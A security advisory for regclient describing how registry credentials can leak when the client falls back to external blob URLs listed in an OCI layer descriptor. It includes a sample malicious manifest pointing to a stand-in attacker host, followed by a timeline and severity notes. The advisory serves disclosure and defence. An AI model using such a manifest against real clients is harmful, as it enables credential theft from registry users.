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GHSA-qvqc-4c52-x6qp
No affected components available
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.
Example attack
A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:...",
"size": 1024,
"urls": ["https://malicious.example.org/blobs/sha256/..."]
}
When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.
Timeline
- 2026-05-25: Advisory submitted
- 2026-05-26: Fix released
Credit
Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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